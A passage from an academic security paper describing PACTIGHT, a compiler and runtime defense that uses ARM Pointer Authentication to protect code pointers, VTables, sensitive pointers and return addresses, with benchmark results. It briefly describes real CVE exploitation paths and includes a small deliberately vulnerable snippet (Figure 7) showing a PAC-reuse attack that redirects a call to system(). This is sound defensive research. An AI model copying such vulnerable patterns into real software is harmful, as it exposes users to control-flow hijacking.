in order to support an array of pointers. The PACTIGHT
runtime assigns the same random tag for each array ele-
ment. For each element, its associated random tag and
size information are added to the metadata store. This
means that each array element’s metadata can be looked
up separately. The API should be called whenever mem-
ory is allocated (heap or stack). PACTIGHT assigns a
random tag to an object right after its allocation.
2) pct_sign(&p) signs a pointer with the associated
random tag that was generated by pct_add_tag. It gen-
erates a 64-bit modifier using the location of a pointer
(&p) and its associated random tag (tag(p)) by look-
ing up the metadata store. Then, it signs the pointer
with the modifier using a PA signing instruction (e.g.,
pacia, pacda). If a (compromised) program tries to sign
a pointer that does not have an associated random tag
(i.e., the program tries to access unallocated memory as
in a use-after-free vulnerability), PACTIGHT aborts the
program. This API should be called whenever a pointer
is assigned or after it is used.
3) pct_auth(&p,p+N) authenticates a pointer with the
associated metadata. Similar to pct_sign, it generates
the modifier using the pointer location (&p) and its associ-
ated random tag (tag(p+N)) by looking up the metadata

store, where N is the array index. N is zero in cases other
than arrays. The use of p+N allows support for pointer
arithmetic and enforcing spatial safety, which will be ex-
plained with an example in §4.4.3 (see Figure 5). Then,
it authenticates the pointer with the modifier using a PA
authentication instruction (e.g., autia, autda). If there
is no random tag or PA fails authentication, PACTIGHT
aborts the program. Any value of N that is not within the
bounds of the array will not return the correct tag, and
thus also causes a failed authentication. If the authentica-
tion is successful, it strips off the PAC from the pointer.
This API should be called before using the pointer.
4) pct_rm_tag(p) removes the metadata associated to
a pointer from the metadata store. Once the metadata is
deleted, any pct_auth to the deleted memory will fail
even if the memory is re-allocated. This API should be
called whenever memory (whether on the heap or the
stack) is deallocated.

4.4.3 Pointer Operations

Since a PACTIGHT-signed pointer has a PAC in its up-
per bits, care must be taken to not break the semantics
of existing C/C++ pointer semantics. In particular, we
take care of the following four cases:
1) PACTIGHT-signed pointer comparison: Even if
two pointers refer to the same memory address, their
PACs are different since the locations of the two pointers
are different (i.e., &p!=&q). Hence, PACTIGHT strips
off the PAC from the PACTIGHT-signed pointer before
comparison by looking for the icmp instruction.
2) PACTIGHT-signed pointer assignment: When as-
signing one signed pointer (source) to another signed
pointer (target), the target pointer should be signed again
with its location.
3) PACTIGHT-signed pointer argument: There are
functions that directly manipulate a pointer. For example,
munmap and free take a pointer as an argument and deal-
locate a virtual address segment or a memory block for a
given address. If their implementations do not consider
PAC-signed pointers, passing a PAC/PACTIGHT-signed
pointer can cause segmentation fault. For those func-
tions, PACTIGHT strips off the PAC before passing the
signed pointer as an argument.
4) PACTIGHT-signed pointer arithmetic:
PACTIGHT supports pointer arithmetic on arrays.
PACTIGHT assigns the same random tag for all
elements in an array, with the metadata keeping track of
the size of an element and the number of elements in
the array to efficiently enforce spatial safety. Figure 5
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Metadata Store

foo+0

1:   T *foo = malloc(50 * sizeof(T));
2:   pct_add_tag(foo, sizeof(T), 50);
3:   pct_sign (&foo);
4:   T *bar = foo + 9;
5:   bar = pct_auth(&foo, foo+9);
6:   pct_sign (&bar);
7:   T* baz = bar + 3;
8:   baz = pct_auth(&bar, bar+3);
9:   pct_sign (&baz);
10: T *qux = foo + 100;
11: qux = pct_auth(&foo, foo+100);
12: pct_sign (&qux);

13: free(foo);
14: pct_rm_tag(foo); 

tag type size array size

r

..

r

r

r

..
..

foo+9

foo+12

foo+100

..

foo+50

X

//Clears all the “r” tags.

Figure 5: Example of PACTIGHT handling array operations.

shows a simplified representation of the metadata.
PACTIGHT first assigns the same random tag r to
all 50 array elements after the array allocation (Line
2). Each element has its own metadata. In Line 5,
PACTIGHT successfully authenticates foo+9 using
pct_auth(&foo,foo+9). PACTIGHT successfully
authenticates bar+3 in Line 8, since bar+3 is foo+12,
and is within the array boundary. On the other hand,
Line 10 violates spatial memory safety, and PACTIGHT
throws an exception at Line 11. This is because
tag(foo+100) either does not exist or has a different
tag. Figure 11 shows the code of the runtime library.

The mechanism works the same for temporal memory
safety; a freed object will not have a tag (Line 14), and
newly allocated objects in the same location will have
a different tag. Thereby, PACTIGHT can effectively re-
ject spatial and temporal memory violations. Note that
PTAuth [27] performs “backward search” to find an ar-
ray base address, which is not necessary in PACTIGHT.

4.4.4 Metadata Store

PACTIGHT maintains a metadata store for allocated
memory objects. For each allocated memory object, the
metadata store maintains a random tag, the size of each
individual element (or type size), and the number of ele-
ments in an array (or array size). Non-array objects will
be treated as an array having a single element. We use
either a 64-bit (default) or a 32-bit tag and we compare
the memory overhead between both tag sizes in §7.3.1.

We implemented the metadata store as a linear open
addressing hash table (base + offset) using the address
(i.e., p) as the key. The base address is kept in a reserved
register, X18, to avoid leaking the metadata location (i.e.,
stack spill). The metadata store is initialized when the
program starts and is maintained by PACTIGHT’s run-
time library. An entry in the metadata store is allocated
and deallocated using pct_add_tag and pct_rm_tag, re-

spectively. Whenever PACTIGHT needs to sign or au-
thenticate (pct_sign, pct_auth), it looks up the meta-
data store to get the associated random tag and to check
if the accessed memory is valid or not. PACTIGHT relies
on sparse address space support of the OS.

4.4.5 A Running Example

The code snippet in Figure 2 (right) shows how
PACTIGHT APIs are used to protect a local function
pointer p. When an object gets allocated (Line 2),
pct_add_tag allocates the metadata by setting a ran-
dom tag and all the associated metadata. The number of
elements and type size can be determined statically by
analyzing the LLVM IR. Whenever a stack variable is as-
signed, the PAC is added with pct_sign (Lines 7, 8). If
the pointer is dereferenced (Line 13) or if any change in
assignment happens to the pointer legitimately, the PAC
is authenticated (pct_auth) (Line 12) and a new PAC
is generated for the new pointer with pct_sign (Line
14). When a pointer gets deallocated (after the return
on Line 16, since we are on the stack), the pointer is au-
thenticated and all metadata is removed (pct_rm_tag).
This is done by reading the type size and array size from
the metadata and removing the metadata accordingly.

5 PACTIGHT Defense Mechanisms
This section presents the PACTIGHT defense mech-
anisms built on top of the PACTIGHT runtime. The
PACTIGHT compiler passes automatically instrument
all globals, stack variables, and heap variables, inserting
the necessary PACTIGHT APIs. We implement four de-
fense mechanisms: 1) Control-Flow Integrity (forward
edge protection), 2) C++ VTable protection, 3) Code
Pointer Integrity (all sensitive pointer protection), and
4) return address protection (backward edge protection).

5.1 Control Flow Integrity (PACTIGHT-CFI)

PACTIGHT-CFI guarantees forward-edge control-flow
integrity by ensuring the PACTIGHT pointer integrity
properties for all code pointers. It authenticates the PAC
on a function pointer at legitimate function call sites.
At all other sites, the code pointer is sealed with the
PACTIGHT signing mechanism so it cannot be abused.
Any direct use of a PACTIGHT-signed pointer results in
a segmentation fault, causing illegal memory access.
Instrumentation overview. In order to prevent any mis-
use and enforce all three security properties for a code
pointer, PACTIGHT-CFI should set metadata upon allo-
cation and remove it upon deallocation. Also, a function
pointer should always be authenticated before every le-

USENIX Association 31st USENIX Security Symposium    3723



gitimate use and it should be signed again afterwards.
The PACTIGHT-CFI instrumentation passes accurately
identify and instrument all instructions in the LLVM IR
that allocate, write, use, and deallocate code pointers.
Identifying code pointers. PACTIGHT-CFI identifies
all code pointers using LLVM type information. Since
code pointers can be present inside composite types (e.g.,
struct or an array of struct), PACTIGHT-CFI also re-
cursively looks through all elements inside a composite
type. We specially handle the case that a code pointer
is manipulated after it is converted to some universal
pointer type (e.g., void*). For example, for memcpy and
munmap which take void* arguments, PACTIGHT-CFI
gets the actual operand type first and instrumentation
is done accordingly. This is not only done for memcpy
and munmap, but for all universal pointer types. We look
ahead for when they are typecasted (i.e., BitCast in
LLVM IR) to get the original type accordingly
Instrumenting PACTIGHT APIs. Setting the meta-
data by instrumenting pct_add_tag is done immedi-
ately after all code pointer allocations. This is done
for all global, stack and heap variables. In the case of
initialized global variables, pct_add_tag and pct_sign
are appended to the global constructors. In this way,
PACTIGHT-CFI maintains the appropriate metadata for
all global variables during program execution.

If the destination operand of the store instruction is
a code pointer, pct_sign is instrumented right after the
store instruction to sign the code pointer.
pct_auth must be called before any use of a code

pointer. Specifically, PACTIGHT-CFI looks for the rel-
evant load and call instructions and it instruments
pct_auth immediately before the instructions. If the
authentication fails, the top two bits of the pointer are
flipped meaning any use of the pointer causes a segmen-
tation fault, effectively denying any attack. As the PAC
authentication instructions (e.g., autia) strips off the
PAC, the PAC should be added again after the function
call. Thus, PACTIGHT-CFI replaces the stripped pointer
with the signed version after indirect call instructions.
This ensures that a PAC is always present.

Whenever a code pointer is deallocated (e.g., free,
munmap), PACTIGHT-CFI removes the metadata by in-
strumenting pct_rm_tag before the deallocation. For
stack variables, pct_rm_tag is instrumented right before
return, and it removes the metadata from the entire
stack frame at once, from the first variable to the last
variable that has any metadata set.
Summary. PACTIGHT-CFI is precise and efficient by

enforcing the PACTIGHT pointer integrity properties
and leveraging hardware-based PA. Moreover, it pro-
vides the Unique Code Target (UCT) property [33] be-
cause ensuring the PACTIGHT pointer integrity proper-
ties implies that the equivalence class (EC) size (i.e., the
number of allowed legitimate targets at one call site) is
always one. Thus, it defends against all ConFIRM [40]
attacks, which essentially rely on the presence of more
than one legitimate targets in an EC and replace an indi-
rect call/jump target with another allowed target.

5.2 C++ VTable Protection (PACTIGHT-VTable)

C++ relies on virtual functions to achieve dynamic poly-
morphism. At every virtual function call, a proper func-
tion is used in accordance with the object type. The
mapping of an object type to a virtual function is done
by the use of a virtual function table (VTable) pointer,
which is a pointer to an array of virtual function pointers
per object type. A VTable pointer is initialized in the
object’s constructor and it is valid until an object is de-
structed. Attacking the virtual function table pointer is a
common exploit in C++ programs [18, 54, 63].
Identifying VTable pointers. PACTIGHT-VTable
identifies a VTable pointer in a C++ object by analyzing
types in LLVM. It investigates all composite types and
checks if it is a class type having one or more virtual
functions. If so, it marks the first hidden member of the
class as a VTable pointer. PACTIGHT-VTable also han-
dles dynamic_cast<T>, since dynamic_cast<T> is only
valid for a class with at least one virtual function pointer,
so it has a virtual function table, and thereby they all are
already considered sensitive types.
Instrumenting PACTIGHT APIs. Upon a C++ type
having a virtual function allocated, PACTIGHT-VTable
instruments pct_add_tag.It instruments pct_sign im-
mediately after the VTable pointer is assigned by the
object’s constructor. This adds the PAC to the pointer
to seal it. Then, pct_auth is instrumented right before
loading the VTable pointer. A failed authentication flips
the top two bits of the pointer, rendering it unusable. Cor-
respondingly, pct_rm_tag is instrumented right before
the object is destroyed (deallocation).

5.3 Code Pointer Integrity (PACTIGHT-CPI)

PACTIGHT-CPI increases the coverage of PACTIGHT-
CFI to guarantee integrity of all sensitive point-
ers [38]. Sensitive pointers are all code pointers
(i.e., PACTIGHT-CFI coverage) and all data pointers
that point to code pointers. It is possible to hijack
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1 /** ==== nginx/http/ngx_http_variables.h ==== */
2 typedef struct ngx_http_variable_s ngx_http_variable_t;
3

4 // a function pointer type (i.e., sensitive type)
5 typedef ngx_int_t (*ngx_http_get_variable_pt)(...);
6

7 struct ngx_http_variable_s {
8 ngx_str_t name;
9 // sensitive function pointer

10 ngx_http_get_variable_pt get_handler;
11 // ...
12 }; // a sensitive data type
Figure 6: Example of a sensitive data pointer in the (simpli-
fied) NGINX source code.

control-flow by corrupting a sensitive data pointer be-
cause it can reach a code pointer. Figure 6 shows
an example of sensitive pointers from NGINX. A
function pointer type ngx_http_get_variable_pt at
Line 5 is a sensitive code pointer. Also, a struct type
ngx_http_variable_s at Line 7 is a sensitive data type
because it has another sensitive pointer (get_handler at
Line 10) in it. If a sensitive data pointer or its array in-
dex are corrupted, an attacker can hijack the control-flow
without directly corrupting the function pointer.

Identifying sensitive pointers. PACTIGHT-CPI ex-
pands the type analysis of PACTIGHT-CFI to include all
sensitive pointers. It classifies a composite type that con-
tains a function pointer as a sensitive type. Then, it recur-
sively classifies a composite type that contains any sen-
sitive pointer in it as a sensitive type until it cannot find
any more sensitive types. We over-approximate when
detecting security-sensitive pointers. That is, we regard a
pointer as security-sensitive if we cannot determine if it
is non-security-sensitive statically (e.g., C union). This
approach may add extra instrumentation, however, it
will not compromise PACTIGHT ’s security guarantees.

Instrumenting PACTIGHT APIs. Instrumentation
is then done in a similar manner to PACTIGHT-CFI by
instrumenting all instructions that allocate, store, modify
and use sensitive pointers. In case the pointers are of
universal type (i.e., void* or char*), PACTIGHT-CPI
gets its actual type by looking ahead for a typecast and
then instrumentation is done accordingly.
5.4 Return Address Protection (PACTIGHT-RET)

Protecting return addresses is critical because they are,
after all, the root of ROP attacks. Meanwhile, the return
address protection scheme should impose minimal per-
formance overhead because function call/return is very
frequent during program execution. We aim to minimize
the signing/authentication overhead without compromis-
ing the PACTIGHT pointer integrity properties.

No non-dangling in return address. One interesting

fact is that a return address cannot be a dangling pointer.1

Hence, the non-dangling property doesn’t need to be
enforced and random tags are unnecessary. Not using a
tag offers large performance benefits as metadata store
lookup cost to get the random tag can be removed.
Binding all previous return addresses. Instead of
blending the location of a return address in a stack to
provide the non-copyability property, we use the signed
return address of a previous stack frame. Since the
stack distance to a return address in a previous stack
frame is determined at compile time, accessing the pre-
vious return address with a constant offset binds the
current return address to the relative offset of the pre-
vious stack frame (i.e., the current stack frame). Hence
we can achieve the non-copyability property for return
addresses. In addition, by blending the signed return ad-
dress of a previous stack frame, we chain all previous re-
turn addresses to calculate the PAC of the current return
address. This approach is inspired by PACStack [42].
Both PACTIGHT-RET and PACStack incorporate the
entire callstack in the modifier to prevent the reuse attack.
In regards to dynamic stack allocation, the alloca()
function can dynamically adjust the stack frame size.
To support dynamic stack allocation, PACTIGHT-RET
uses LLVM intrinsics, such as getFrameInfo() and
getCalleeSavedInfo(), that allow us to find the pre-
vious stack frame and calculate the distance correctly.
Signing and authentication of a return address. Our
optimized sign/authentication scheme for return ad-
dresses is as follows. We blend a caller’s unique function
ID and the signed return address from the previous stack
frame to generate the modifier. This blending allows us
to achieve the non-copyability property by chaining all
previous return addresses (binding a return address to
a control-flow path), alongside the guarantee of the un-
forgeability property achieved by the PAC mechanism.
Instrumentation is done in the MachineIR level during
frame lowering. Frame lowering emits the function pro-
logues and epilogues. The PAC is added at the function
prologue and authenticated at the function epilogue. The
LLVM-assigned function ID is unique due to the use of
link time optimization (LTO).
5.5 Optimization to Reduce PAC Instructions

The main source of overhead in PACTIGHT would
be due to the cryptographic operations done by the

1Precisely speaking, a return address can be a dangling pointer for
Just-In-Time (JIT) compiled code in a managed runtime (e.g., Java,
Python). However, protecting control-flow hijacking in a managed
runtime is the out of scope for PACTIGHT.
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QARMA algorithm. This is done every time a PAC in-
struction is executed. As discussed in §4.4.5, pct_auth
strips the PAC from the pointer and pct_sign is added
again after the pointer is used to add the PAC again,
thus maintaining the seal on the pointer. Thus, instead of
re-adding the PAC with pct_sign, we save the original
pointer with the PAC before pct_auth in a temporary
register, and overwrite the stripped pointer with a PACed
pointer without needing to call pct_sign. Note that our
code generation pass prevents the stack spill of the tem-
porary register to avoid the register from being restored.

6 Implementation
Our prototype consists of 4014 lines of code (LoC),
with 3237 LoC for the LLVM pass, 656 LoC for
the PACTIGHT runtime library, and 121 LoC for
the AArch64 backend. PACTIGHT-CFI, PACTIGHT-
VTable and PACTIGHT-CPI are all implemented in the
LLVM IR level while PACTIGHT-RET is implemented
in the AArch64 backend. The PACTIGHT runtime li-
brary is integrated with LLVM as part of compiler_rt.
We use CSPRNG seeded by hardware RNG (RNDR
in ARMv8) [4] for random tag generation. To harden
our prototype, we used different key types for sensitive
function pointers (pacia, autia), sensitive data pointers
(pacda, autda), and return addresses (pacib, autib).

We apply several optimizations to PACTIGHT. First,
we use Link Time Optimization (LTO), which com-
bines all the object files into one file. Then, we inline
all our PACTIGHT runtime library functions. Finally,
we implement the additional optimization, discussed
in §5.5, to reduce PAC instructions. The evaluation
of the impact of these optimizations is discussed in
§7.3.2. We also make our code for PACTIGHT public at
https://github.com/cosmoss-jigu/pactight.

7 Evaluation
We evaluate PACTIGHT by answering the following:
• How effectively can PACTIGHT prevent not only syn-

thetic attacks but also real-world attacks by enforcing
PACTIGHT pointer integrity properties? (§7.2)

• How much performance and memory overhead does
PACTIGHT impose? (§7.3)

7.1 Evaluation Methodology

Evaluation environment. We ran all evaluations on
Apple’s M1 processor [10], which is the only commer-
cially available processor supporting ARMv8.4 architec-
ture with ARM PA instructions. Specifically, we used
an Apple Mac Mini M1 [9] equipped with 8GB DRAM,

4 big cores, and 4 small cores. We ported our prototype
to Apple’s LLVM 10 fork [1]. For all applications, we
enabled O2 and LTO optimizations for fair comparison.
Evaluation of C applications. We ran all C applica-
tions with real ARM PA instructions. In this case, we
turned off all Apple LLVM’s use of PA [11] to avoid the
conflicting use of PA instructions.
Evaluation of C++ applications. During initial evalu-
ation, we found that the use of PA instructions is built
into Apple’s standard C++ library. We have investigated
using Ubuntu Linux [21] on the M1 to work around
this problem. At time of writing, the Linux kernel on
Ubuntu/M1 does not support PA – the kernel does not
activate PA during the boot procedure – so userspace
applications cannot use PA instructions.

For C++ applications, we use two different ap-
proaches to validate if PACTIGHT’s instrumentation is
correct and to get an accurate performance estimation.
For the correctness testing, we ran all C++ applications
on ARM Fixed Virtual Platform (FVP) [12], which is an
ARM hardware platform simulator that supports pointer
authentication. We used the FVP only to test correctness,
since it is not a cycle-accurate simulator. We ran Linux
on FVP to run C++ applications, and we modified the
Linux kernel and bootloader to activate ARM PA. All
our C++ applications passed the correctness testing with
FVP. To simulate the overhead of a PA instruction and
to get accurate performance estimates on real hardware,
we measured the time to execute a PA instruction and
found that seven XOR (eor) instructions take almost the
same time – 0.15% faster – to execute one PA instruction
on the Apple Mac Mini M1. Similarly, Lilijestrand et
al. [43] also replaced a PA instruction with four eor in-
structions to estimate the performance overhead, which
is more optimistic than our measurement on hardware.

7.2 Security Evaluation

In this section, we evaluate PACTIGHT’s effectiveness
in stopping security attacks using three real-world ex-
ploits (§7.2.1) and five synthesized exploits (§7.2.2).

7.2.1 Real-World Exploits

We evaluated PACTIGHT with three real-world exploits
to test its effectiveness against real vulnerabilities.
(1) CVE 2015-8668. This is a heap-based buffer over-
flow [24] corrupting a sensitive pointer in the libtiff
library. The heap overflow overwrites a function pointer
in the TIFF structure, which allows attackers to achieve
arbitrary code execution. PACTIGHT-CFI/CPI success-
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fully detects this and stops it from completing by enforc-
ing pct_auth on the corrupted function pointer.
(2) CVE-2019-7317. This is a use-after-free ex-
ploit [25] in the libpng [3] library. The png_image_free
function is called indirectly and frees memory that
is referenced by image, a sensitive pointer. image is
then dereferenced. Since PACTIGHT-CPI does recur-
sive identification, image is instrumented. When image
gets dereferenced after the free, PACTIGHT-CPI will
detect that no metadata exists and halts the execution.
(3) CVE-2014-1912. This is a buffer overflow vulnera-
bility [55] in python2.7 that happens due to a missing
buffer size check. An attacker can corrupt a function
pointer in the PyTypeObject and achieve arbitrary code
execution. PACTIGHT-CFI/CPI detects this by detect-
ing the corrupted function pointer with pct_auth.

7.2.2 Synthesized Exploits

CFIXX test suite. We evaluated PACTIGHT with
five synthesized attacks for C++ to demonstrate how
PACTIGHT-VTable can defend against virtual function
pointer hijacking attacks, COOP attacks [54] – an at-
tack that crafts fake C++ objects. We used CFIXX C++
test suite [51] by Burow et al. [18]. It contains four
virtual function pointer hijacking exploits (FakeVT-sig,
VTxchg-hier, FakeVT, VTxchg) and one COOP exploit.
To make the test suite more similar to real attacks, we
modified the suite to use a heap-based overflow rather
than directly overwriting with memcpy. This modifica-
tion is similar to a synthesized exploit in OS-CFI [36].
PACTIGHT-VTable detects all the exploits by enforc-
ing pct_auth on the virtual function pointer before the
virtual function call. The COOP attack crafts a fake ob-
ject without calling the constructor and utilizes a virtual
function pointer of the fake object. PACTIGHT-VTable
detects this due to the fact that it was never initialized
and thus pct_auth fails.
Vulnerable code to other PAC defenses. We describe
here a synthesized exploit that bypasses PARTS [43]
and PTAuth [27], relying on the security guarantees pro-
vided by the non-copyability property. The security ben-
efits of the non-copyability property are demonstrated
by the PAC reuse attack in the vulnerable code in Fig-
ure 7. PARTS [43] is vulnerable to this attack while
PACTIGHT is not. If two pointers have the same modi-
fier (type-id in PARTS) and point to the same address,
then the processor will generate the same PAC, and thus
they can be used interchangeably at a different code loca-
tion. This is possible in PARTS if both pointers have the

1 T foo,bar;
2 foo.funcptr = &printf;
3 bar.funcptr = &system;
4 T *p = &foo; // p stores a valid PAC of foo
5 T *q = &bar; // q stores a valid PAC of bar
6 // An attacker performs arbitrary read/write here
7 // (by exploiting a known vulnerability)
8 // to overwrite p as q, i.e., p = q;
9 // now p stores a valid PAC of &bar

10 p->funcptr(); // Runs system() in PARTS
11 // because type of p and q are the same
Figure 7: Example of vulnerable code that PACTIGHT de-
fends against but PARTS [43] cannot.
same LLVM ElementType. This is similar in concept to
the COOP attack in terms of pointer manipulation. Our
incorporation of a pointer location (&p) into the modifier
with the non-copyability property blocks this attack by
binding a signed PAC to a specific pointer location in
the code. This binding will not allow a signed pointer to
be used from a different pointer location.

7.3 Performance Evaluation

7.3.1 Benchmarks

Benchmark applications. For our performance evalu-
ation, we use three benchmarks: SPEC CPU2006 [32],
nbench [47], and CoreMark [2], and one real-world ap-
plication, NGINX web server [5]. In order to run the
SPEC CPU2006 benchmark suite, we ported each SPEC
benchmark to Apple M1 and built it from scratch. We
were not able to run one benchmark, 403.gcc, on the
Apple M1 even with Apple’s vanilla Clang/LLVM com-
piler. We suspect a bug in the MacOS/M1 toolchain.
We ran all benchmark applications with real PA instruc-
tions except for seven C++ benchmarks in the SPEC
benchmark. For the C++ benchmarks, we replaced a PA
instruction with seven eor instructions to emulate the
overhead of the PA instructions as discussed in §7.1.
Performance overhead. Figure 8 shows the perfor-
mance of the PACTIGHT defenses on the individ-
ual SPEC benchmarks, nbench, and CoreMark. The
SPEC benchmarks have a geometric mean of 0.64%,
1.57%, and 5.77% for PACTIGHT-RET, PACTIGHT-
CFI+VTable+RET, and PACTIGHT-CPI, respectively.
The geometric means of all benchmark applications
are 0.43%, 1.09%, and 4.07% for PACTIGHT-RET,
PACTIGHT-CFI+VTable+RET, and PACTIGHT-CPI,
respectively. As can be seen, PACTIGHT has very
low overhead on almost all benchmarks and across
all the protection mechanisms. The exceptions here
are 453.povray, 471.omnetpp, and 483.xalancbmk for
PACTIGHT-CPI. We discuss these further in §A.4.

We evaluated NGINX on the Apple M1 using its 4 big
cores to stress the machine. We used the same configu-
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Figure 10: Impact of the performance optimizations.
(LTO: Link Time Optimization INLN: inlining APIs;
OVWRT: overwrite stripped pointer with PACed pointer)

ration used to bench NGINX TLS transactions per sec-
ond [48]. We used the HTTP benchmarking tool wrk [29]
to generate concurrent HTTP requests. We ran wrk on an-
other machine under the same network. Each wrk spawns
three threads where each thread handles 50 connections.
We observed a small performance overhead: 4% for
PACTIGHT-CFI and 5.57% for PACTIGHT-CPI.

Memory overhead. In order to see how much addi-
tional memory is used by PACTIGHT’s metadata store,
we measured the maximum resident set size (RSS) dur-

ing the execution of the SPEC CPU2006 benchmarks.
We ran the SPEC benchmarks with the PACTIGHT-CPI
protection because it is the highest level of protection
in PACTIGHT, thus it requires the largest number of
entries in the metadata store. We used both 64-bit and
32-bit tag sizes to measure the gain if we used a smaller
tag. The size of the metadata is 16 bytes in the case of a
64-bit tag, and 12 bytes in the case of a 32-bit tag. Fig-
ure 9 shows the results of our measurements. In spite of
measuring the highest security mechanism with the most
instrumentations, PACTIGHT imposes an overhead of
23% on average for 64-bit tags and 19% on average for
32-bit tags. The memory overhead is proportional to
O(n) where n is the number of sensitive pointers, with
the metadata size being either 2× the size of the pointer
(64-bit tag) or 1.5× the size of the pointer (32-bit tag).

7.3.2 Impact of Optimizations

Here we showcase the impact of the optimizations dis-
cussed in §5.5 and §6. We added three optimizations to
PACTIGHT to improve performance: Link Time Op-
timization (LTO), inlining of PACTIGHT runtime li-
brary functions (INLN), and overwriting the stripped
pointer with a PACed pointer (OVWRT). Figure 10
shows the performance overhead of PACTIGHT-CPI
with and without the optimizations in various configura-
tions. As can be seen, the optimizations were critical to
greatly improving PACTIGHT’s performance.

8 Discussion and Limitations

Information leakage attack on the metadata store.
In our threat model, an attacker is able to access the
PACTIGHT metadata store while it is probabilisti-
cally hidden using address space layout randomization
(ASLR). Even if the PACTIGHT metadata is leaked, an
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attacker is not able to exploit the leaked information. In
order for an attacker to take advantage of the leakage,
she has to launch an attack from a different location and
this is already protected by the non-copyability prop-
erty. The only part of the modifier that gets leaked is
the random tag, but the location (&p) in the modifier
still enforces the non-copyability property. In regards to
legal and illegal pointers, PACTIGHT always authenti-
cates the right hand side of a PACTight-signed pointer
assignment. Thus, if a pointer in the right hand side is il-
legal, its authentication will fail. In this way, PACTIGHT
prevents the propagation of illegal pointers. Another hy-
pothetical case is that an attacker reuses a random tag to
bypass the non-dangling property. While such an attack
is possible in theory, the bar is very high in practice. An
attacker cannot reuse dangling pointers at an arbitrary
location due to the non-copyability property, and this
significantly limits the attack. Moreover, we argue this
is not a fundamental flaw in PACTIGHT’s design. The
random tag can be enforced using ARM’s new Memory
Tagging Extension (MTE) feature [13]. The presence of
MTE will mitigate the random tag reuse attacks since
the tags are protected in physical memory that can never
be accessed by an attacker. PACTIGHT can easily be
extended to utilize MTE as a tag store.

9 Related Work

In this section, we only discuss related studies that have
not been discussed previously .
Cryptographic pointer defenses. CCFI [46] uses
MACs to protect return addresses, function pointers,
and VTable pointers. Conceptually, the use of MACs is
similar to PA. But, since CCFI does not benefit from the
hardware-accelerated PA instructions, it has an average
of 52% overhead across SPEC CPU2006 benchmarks.
Integrity policies. Control-Flow Integrity (CFI) [6]
restricts the valid target sites for indirect control-flow
transfers. Static CFI schemes are vulnerable to control-
flow bending [19]. Since PACTIGHT-CFI-VTable seals
a pointer with its location and a random tag, this lim-
its the feasibility of a reuse attack. Other dynamic ap-
proaches require additional threads to analyze data from
Intel Processor Trace [28, 31, 33, 45] limiting scalability.

Code Pointer Integrity (CPI) [38] protects sensitive
pointers (code pointers and pointers that refer to code
pointers) by storing the sensitive pointers in a seperate
hidden memory region. Return addresses are stored on
a safe stack. PACTIGHT-CPI provides temporal safety
to sensitive pointers, which CPI does not, and protects

virtual function pointers in addition to sensitive pointers,
all while having a lower overhead across all defenses.

CFIXX [18] protects VTable pointers by enforcing
Object Type Integrity (OTI). CFIXX stores metadata
on construction and checks the metadata at the virtual
function call site. CFIXX incurs an overhead of 4.98%.
PACTIGHT-CFI+VTable incurs lower overhead (1.98%)
whilst providing stronger guarantees by enforcing CFI.
Temporal memory safety. Explicit pointer invalida-
tion is a common strategy to enforce temporal memory
safety. DangNull [39], DangSan [60], FreeSentry [62],
pSweeper [44], and BOGO [64] invalidate all pointers
to an object when the object is freed. These schemes
typically incur high costs. CRCount [57] implicitly in-
validates pointers by using reference counting. This ap-
proach comes at memory costs since some objects may
never be freed. CETS [50] uses disjoint metadata to
check if an object still exists upon pointer dereferences.
MarkUs [7] is a memory allocator that protects from use-
after-free attacks. It quarantines freed data and prevents
reallocation until there are no dangling pointers. In con-
trast, PACTIGHT offers broader protection and protects
sensitive pointers from memory corruption attacks.

10 Conclusion
We presented PACTIGHT, an efficient and robust mecha-
nism to guarantee pointer integrity using ARM’s Pointer
Authentication mechanism. We identified three secu-
rity properties PACTIGHT enforces to ensure pointer
integrity: (1) Unforgeability: a pointer cannot be forged
to point to an unintended memory object. (2) Non-
copyability: a pointer cannot be copied and re-used ma-
liciously. (3) Non-dangling: a pointer cannot refer to
an unintended memory object if the object has been
freed. We implememented PACTIGHT with four de-
fense mechanisms, protecting forward edge, backward
edge, virtual function pointers, and sensitive pointers.
We demonstrated the security of PACTIGHT against
real and synthesized attacks and showcased its low per-
formance and memory overhead, 4.07% and 23.2%, on
average respectively, using real PAC instructions.
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Appendix
We describe the PACTIGHT runtime library functions in
detail (§A.1), its collision likelihood (§A.2), showcase
PACTIGHT instrumentation statistics (§A.3), and finally
analyze the high overhead benchmarks (§A.4).

A.1 PACTIGHT Runtime Library Functions
Figure 11 presents the (simplified) PACTIGHT li-
brary function code. The two omitted functions,
meta_hashtable_get and meta_hashtable_set, re-
trieve and set the metadata, respectively.

1 /** == Pseudocode for the library
2 * functions in PACTight== **/
3

4 pct_add_tag(void* p, int tsz, int asz){
5 tag = CSPRNG(); // Generate random tag
6 for(int i = 0; i < asz; i++){
7 meta_hashtable_set(p, tag, tsz, asz - i);
8 p = p + tsz;
9 }

10 }
11

12 pct_sign(void** p){
13 metadata* meta = meta_hashtable_get(*p);
14 pac_modifier = p ^ meta->tag;
15 __asm volatile ("pacia %x[pointer], %x[modifier]\n"
16 : [pointer] "+r" (*p)
17 : [modifier] "r"(pac_modifier)
18 );
19 }
20

21 pct_auth(void** p, void* p_index){
22 metadata* meta = meta_hashtable_get(p_index);
23 pac_modifier = p ^ meta->tag;
24 __asm volatile ("autia %x[pointer], %x[modifier]\n"
25 : [pointer] "+r" (*p)
26 : [modifier] "r"(pac_modifier)
27 );
28 }
29

30 pct_rm_tag(void* p){
31 metadata* meta = meta_hashtable_get(p);
32 int asz = meta->asz;
33 int tsz = meta->tsz;
34 for(int i = 0; i < asz; i++){
35 meta_hashtable_remove(p);
36 p = p + tsz;
37 }
38 }

Figure 11: PACTIGHT runtime library functions.

A.2 Collision Likelihood of PACTIGHT

A determined attacker can attempt to break our
PACTIGHT scheme using modifier collisions. For ex-
ample, if an attacker allocates a PAC’d pointer p with
random tag A at location B, then deallocates and reallo-
cates p with a different random tag C. Then, the attacker
can reuse p at a different location D if (A XOR B) col-

lides with (C XOR D). The probability that this collision
occurs is extremely low. Because we XOR the modifier
with a 64-bit random tag, the distribution of PAC modi-
fiers is uniformly random with 64 bits of entropy (i.e.,
264); therefore, an attacker cannot practically break the
non-copyability property via modifier collisions.

Alternatively, an attacker can attempt to break the
scheme using PAC collisions. By reusing a sensitive
pointer at many different locations, there is a chance (al-
beit a very low probability) that the same PAC could be
generated even though the modifiers are different. This
would require an expected 2b guesses, where b is the
number of bits available for PAC (b = 16 in ARMv8.3-
A). The birthday problem [58] does not apply in this case
since an attacker has no way to efficiently bruteforce
many pointers at the same time. This attack is equivalent
to attempting to forge an authenticated pointer. Conse-
quently, these collision attacks are not feasible against
